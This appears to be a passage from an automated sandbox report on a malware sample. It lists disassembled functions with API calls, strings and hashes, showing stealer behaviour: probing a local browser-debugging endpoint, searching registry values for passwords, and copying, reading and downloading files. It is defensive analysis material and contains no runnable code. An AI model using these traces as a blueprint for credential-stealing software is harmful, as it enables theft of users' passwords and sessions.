Opcode Fuzzy Hash: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction Fuzzy Hash: B641B8B6D001086BDB14EBA0EC46FEE773DAB8C300F04855EB7155A1C1EA7557888BE1

Function 00409A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00409AAB
InternetCloseHandle.WININET(00000000), ref: 00409AC7

Strings

"webSocketDebuggerUrl":, xrefs: 00409B4B
http://localhost:9229/json, xrefs: 00409A9F
"ws://, xrefs: 00409B84

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: f6ea82a8e87bece4c9da886c2de84f051623a7f4925580be6bfbf86350bd66ae
Instruction ID: 62dbe43bf40bcea2ec6919899f10ce169cdfcd29f6908f6eb26e58a13f6c9638
Opcode Fuzzy Hash: f6ea82a8e87bece4c9da886c2de84f051623a7f4925580be6bfbf86350bd66ae
Instruction Fuzzy Hash: 27414B35A10258EBCB14EB90DC85FDD7774BB48340F1041AAF505B6191DBB8AEC0CF68

Function 024A78F7 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 024A7939
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 024A7976
GetProcessHeap.KERNEL32(00000000,00000104), ref: 024A79FA
RtlAllocateHeap.NTDLL(00000000), ref: 024A7A01
wsprintfA.USER32 ref: 024A7A37

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Strings

\, xrefs: 024A7957
C, xrefs: 024A7943
XS~, xrefs: 024A7A2C, 024A7A32
:, xrefs: 024A7953

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$XS~$\
API String ID: 1544550907-3581249519
Opcode ID: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction ID: 6d2f18683754894b89e4c5d469798836330d30e6350a6b5e4dec6992bd9e6eef
Opcode Fuzzy Hash: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction Fuzzy Hash: FE4180B1D05258ABDB10DFA4CC95BDEBBB9AF18700F00419AF509A7280D7756B84CFA5

Function 00407630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407330: memset.MSVCRT ref: 00407374
Part of subcall function 00407330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
Part of subcall function 00407330: RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
Part of subcall function 00407330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
Part of subcall function 00407330: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
Part of subcall function 00407330: HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

lstrcatA.KERNEL32(00000000,0042192C,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?,?,00416414), ref: 00407666
lstrcatA.KERNEL32(00000000,00000000,00000000), ref: 004076A8
lstrcatA.KERNEL32(00000000, : ), ref: 004076BA
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004076EF
lstrcatA.KERNEL32(00000000,00421934), ref: 00407700
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00407733
lstrcatA.KERNEL32(00000000,00421938), ref: 0040774D
task.LIBCPMTD ref: 0040775B

Strings

: , xrefs: 004076AE

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction ID: 7dd5c8f6c25e89eb5421da9b581f9cff4d94f04832d352fdfe902425259828cd
Opcode Fuzzy Hash: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction Fuzzy Hash: B73164B1E05114DBDB04EBA0DD55DFE737AAF48305B50411EF102772E0DA38AA85CB96

Function 024A59C7 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 024AAD97: lstrlen.KERNEL32(024951BC,?,?,024951BC,00420DDF), ref: 024AADA2
Part of subcall function 024AAD97: lstrcpy.KERNEL32(00420DDF,00000000), ref: 024AADFC

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

StrCmpCA.SHLWAPI(00000000,004210B0,00000000), ref: 024A5AFB
StrCmpCA.SHLWAPI(00000000,004210B8), ref: 024A5B58
StrCmpCA.SHLWAPI(00000000,004210C8), ref: 024A5D0E

Part of subcall function 024AAD17: lstrcpy.KERNEL32(?,00000000), ref: 024AAD5D

Part of subcall function 024A56A7: StrCmpCA.SHLWAPI(00000000,00421074), ref: 024A56DF

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Part of subcall function 024A5777: StrCmpCA.SHLWAPI(00000000,00421084,00000000), ref: 024A57CF
Part of subcall function 024A5777: lstrlen.KERNEL32(00000000), ref: 024A57E6
Part of subcall function 024A5777: StrStrA.SHLWAPI(00000000,00000000), ref: 024A581B
Part of subcall function 024A5777: lstrlen.KERNEL32(00000000), ref: 024A583A
Part of subcall function 024A5777: strtok.MSVCRT(00000000,?), ref: 024A5855
Part of subcall function 024A5777: lstrlen.KERNEL32(00000000), ref: 024A5865

StrCmpCA.SHLWAPI(00000000,004210C0,00000000), ref: 024A5C42
StrCmpCA.SHLWAPI(00000000,004210D0,00000000), ref: 024A5DF7
StrCmpCA.SHLWAPI(00000000,004210D8), ref: 024A5EC3
Sleep.KERNEL32(0000EA60), ref: 024A5ED2

Strings

Xj}, xrefs: 024A5A3C, 024A5A41, 024A5A9A, 024A5A9F

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: Xj}
API String ID: 3630751533-742926518
Opcode ID: 0eb3445eed1b3daeda1f2162748cb05894813a744caa4cc26cce728cb2d7be17
Instruction ID: bc8485fa6da94eae993e3d905b0e32ed95b072744d211ea8f70ab042cbd3c24a
Opcode Fuzzy Hash: 0eb3445eed1b3daeda1f2162748cb05894813a744caa4cc26cce728cb2d7be17
Instruction Fuzzy Hash: 70E11E71E00214ABCB18FBA1EDA5EEE773BAF74300F90856EE54666190EF355A08CF51

Function 00407330 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407374
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 004075B5

Strings

Password, xrefs: 00407461

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction ID: 394e2b55a83f95d9b644045a39dee7934e13af239b1baa97d0343fed5997f3db
Opcode Fuzzy Hash: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction Fuzzy Hash: 43611EB5D041689BDB24DB50CC41BDAB7B8BF54304F0081EAE649A6181EF746FC9CF95

Function 02491577 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0249158E

Part of subcall function 02491507: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0249151B
Part of subcall function 02491507: RtlAllocateHeap.NTDLL(00000000), ref: 02491522
Part of subcall function 02491507: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 0249153E
Part of subcall function 02491507: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 0249155C
Part of subcall function 02491507: RegCloseKey.ADVAPI32(?), ref: 02491566

lstrcat.KERNEL32(?,00000000), ref: 024915B6
lstrlen.KERNEL32(?), ref: 024915C3
lstrcat.KERNEL32(?,0042640C), ref: 024915DE

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Part of subcall function 024A8F57: GetSystemTime.KERNEL32(00420E1B,006D6CA4,004205B6,?,?,02491660,?,0000001A,00420E1B,00000000,?,006D6BF0,?,004250DC,00420E1A), ref: 024A8F7D

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

CopyFileA.KERNEL32(?,00000000,00000001), ref: 024916CC

Part of subcall function 024AAD17: lstrcpy.KERNEL32(?,00000000), ref: 024AAD5D

Part of subcall function 0249A377: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0249A3A3
Part of subcall function 0249A377: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0249A3C8
Part of subcall function 0249A377: LocalAlloc.KERNEL32(00000040,?), ref: 0249A3E8
Part of subcall function 0249A377: ReadFile.KERNEL32(000000FF,?,00000000,024916F6,00000000), ref: 0249A411
Part of subcall function 0249A377: LocalFree.KERNEL32(024916F6), ref: 0249A447
Part of subcall function 0249A377: CloseHandle.KERNEL32(000000FF), ref: 0249A451

DeleteFileA.KERNEL32(00000000), ref: 02491756
memset.MSVCRT ref: 0249177D

Strings

`Q~, xrefs: 0249166B, 02491670

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlenmemset$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: `Q~
API String ID: 3885987321-2743804444
Opcode ID: 2a97d6376cda74d6d1336d73f706b43986f81e299c9fded5963d5511903ee699
Instruction ID: f6bae76deacd3feb05cba49c8fcc1b6b087efc9cd9054265483b4cf9391d5604
Opcode Fuzzy Hash: 2a97d6376cda74d6d1336d73f706b43986f81e299c9fded5963d5511903ee699
Instruction Fuzzy Hash: 3E5167B1D402295BCB19FB61DDA4FED733EAF64301F4045EEA64A62090EE305B88CF95

Function 02496357 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 024AAD17: lstrcpy.KERNEL32(?,00000000), ref: 024AAD5D

Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494AA1
Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494AB8
Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494ACF
Part of subcall function 02494A67: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 02494AF0
Part of subcall function 02494A67: InternetCrackUrlA.WININET(00000000,00000000), ref: 02494B00

InternetOpenA.WININET(00420DFB,00000001,00000000,00000000,00000000), ref: 024963C6
StrCmpCA.SHLWAPI(?,006D6E80), ref: 024963FE
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 02496446
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 0249646A
InternetReadFile.WININET(?,?,00000400,?), ref: 02496493
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 024964C1
CloseHandle.KERNEL32(?,?,00000400), ref: 02496500
InternetCloseHandle.WININET(?), ref: 0249650A
InternetCloseHandle.WININET(00000000), ref: 02496517

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: b1da7730cf3e973672ea3d958da0836ae58ce978cfb0a793029a7ab8af6d853d
Instruction ID: 92793332e0e5c13703ef57deb25217def3c57be999f8a44acb03e26982b27db4
Opcode Fuzzy Hash: b1da7730cf3e973672ea3d958da0836ae58ce978cfb0a793029a7ab8af6d853d
Instruction Fuzzy Hash: 155155B1A00218ABDF24DF90DC55BEE7B79AF44305F10819EE605A71C0DB74AA85CF95

Function 004060F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DFB,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,007E6F18), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(00412DB1,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(00412DB1), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: 79bb47fcace65dc0c408726790117bb2adccae202de1a5eabfd6db97336226ad
Instruction ID: 62bae03b9e4771e022f65dfe0b744ca25a6527e7e90d195df508867c32b8ef77
Opcode Fuzzy Hash: 79bb47fcace65dc0c408726790117bb2adccae202de1a5eabfd6db97336226ad
Instruction Fuzzy Hash: CD5184B1A01218ABDB20EF90DC45FEE7779AB44305F0041AEF605B71C0DB786A95CF59

Function 0249ABF7 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Part of subcall function 024A8F57: GetSystemTime.KERNEL32(00420E1B,006D6CA4,004205B6,?,?,02491660,?,0000001A,00420E1B,00000000,?,006D6BF0,?,004250DC,00420E1A), ref: 024A8F7D

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0249AC78
lstrlen.KERNEL32(00000000,00000000), ref: 0249AD96
lstrlen.KERNEL32(00000000), ref: 0249B053

Part of subcall function 024AAD17: lstrcpy.KERNEL32(?,00000000), ref: 024AAD5D

Part of subcall function 0249A7C7: memcmp.MSVCRT(?,0042124C,00000003), ref: 0249A7E4

DeleteFileA.KERNEL32(00000000), ref: 0249B0DA

Strings

PU~, xrefs: 0249AE2B, 0249AE30
(S~, xrefs: 0249AF95, 0249AF9A
`Q~, xrefs: 0249AC0D, 0249AC12

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID: (S~$PU~$`Q~
API String ID: 257331557-172522468
Opcode ID: 1555e5678c072ca4ab9446b2b40093215d410334d5d224d36f00ead4fe18f37f
Instruction ID: 6146ee27adf0549a078e0cb61bb288f1b1f07462d9a23a0682e934e9c05a26ba
Opcode Fuzzy Hash: 1555e5678c072ca4ab9446b2b40093215d410334d5d224d36f00ead4fe18f37f
Instruction Fuzzy Hash: 57E1DFB2D401289BCB19EBA5DCA4DEE733AAF34305F50855EE556760A0EF306A4CCF61

Function 0040A990 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,007DA120,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040AA11
lstrlenA.KERNEL32(00000000,00000000), ref: 0040AB2F
lstrlenA.KERNEL32(00000000), ref: 0040ADEC

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

DeleteFileA.KERNEL32(00000000), ref: 0040AE73

Strings

`Q~, xrefs: 0040A9A6
(S~, xrefs: 0040AD2E
PU~, xrefs: 0040ABC4

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID: (S~$PU~$`Q~
API String ID: 257331557-172522468
Opcode ID: 55b6641589fffeb0b8dfda5dc3124383eabe577e58787d94903f96d83970d88f
Instruction ID: 5dfe8597df33c788f82f0551f3ba8d02d272d38f024b71a471f8e3c501a58f6f
Opcode Fuzzy Hash: 55b6641589fffeb0b8dfda5dc3124383eabe577e58787d94903f96d83970d88f
Instruction Fuzzy Hash: A9E134729111089BCB04FBA5DC66EEE7339AF14314F40855EF11672091EF387A9CCB6A

Function 024A5227 Relevance: 12.6, APIs: 10, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 024A523E

Part of subcall function 024A91D7: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 024A9202

lstrcat.KERNEL32(?,00000000), ref: 024A5267
lstrcat.KERNEL32(?,00420FE8), ref: 024A5284

Part of subcall function 024A4DC7: wsprintfA.USER32 ref: 024A4DE3
Part of subcall function 024A4DC7: FindFirstFileA.KERNEL32(?,?), ref: 024A4DFA

memset.MSVCRT ref: 024A52CA
lstrcat.KERNEL32(?,00000000), ref: 024A52F3
lstrcat.KERNEL32(?,00421008), ref: 024A5310

Part of subcall function 024A4DC7: StrCmpCA.SHLWAPI(?,00420FC4), ref: 024A4E28
Part of subcall function 024A4DC7: StrCmpCA.SHLWAPI(?,00420FC8), ref: 024A4E3E
Part of subcall function 024A4DC7: FindNextFileA.KERNEL32(000000FF,?), ref: 024A5034
Part of subcall function 024A4DC7: FindClose.KERNEL32(000000FF), ref: 024A5049

memset.MSVCRT ref: 024A5356
lstrcat.KERNEL32(?,00000000), ref: 024A537F
lstrcat.KERNEL32(?,00421020), ref: 024A539C

Part of subcall function 024A4DC7: wsprintfA.USER32 ref: 024A4E67
Part of subcall function 024A4DC7: StrCmpCA.SHLWAPI(?,004208D3), ref: 024A4E7C
Part of subcall function 024A4DC7: wsprintfA.USER32 ref: 024A4E99
Part of subcall function 024A4DC7: PathMatchSpecA.SHLWAPI(?,?), ref: 024A4ED5
Part of subcall function 024A4DC7: lstrcat.KERNEL32(?,006D6F24), ref: 024A4F01
Part of subcall function 024A4DC7: lstrcat.KERNEL32(?,00420FE0), ref: 024A4F13
Part of subcall function 024A4DC7: lstrcat.KERNEL32(?,?), ref: 024A4F27
Part of subcall function 024A4DC7: lstrcat.KERNEL32(?,00420FE4), ref: 024A4F39
Part of subcall function 024A4DC7: lstrcat.KERNEL32(?,?), ref: 024A4F4D
Part of subcall function 024A4DC7: CopyFileA.KERNEL32(?,?,00000001), ref: 024A4F63
Part of subcall function 024A4DC7: DeleteFileA.KERNEL32(?), ref: 024A4FE8

memset.MSVCRT ref: 024A53E2

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 4017274736-0
Opcode ID: 526dae8c9c0fde88560bc6a89523ce9510f779cd9e33a96f7e7cea5f911dcca2
Instruction ID: 195d3a627918bbba294b6a9163660cc188dae9b8c6aa5232ec0454dc9d7bf0da
Opcode Fuzzy Hash: 526dae8c9c0fde88560bc6a89523ce9510f779cd9e33a96f7e7cea5f911dcca2
Instruction Fuzzy Hash: AE41D4B5E4022467DB10E770EC5AFDD3739AB30701F80459AB689A60D0EEF957C88F91

Function 0250F595 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0250F6B4
___TypeMatch.LIBVCRUNTIME ref: 0250F7C2
CatchIt.LIBVCRUNTIME ref: 0250F813
CallUnexpected.LIBVCRUNTIME ref: 0250F92F

Strings

csm, xrefs: 0250F6EB
csm, xrefs: 0250F63F
csm, xrefs: 0250F5D2

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CallCatchMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2356445960-393685449
Opcode ID: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction ID: 4f103ae603714404db61304748ed1db8ebebe619e4d8415daa74fbc291eba232
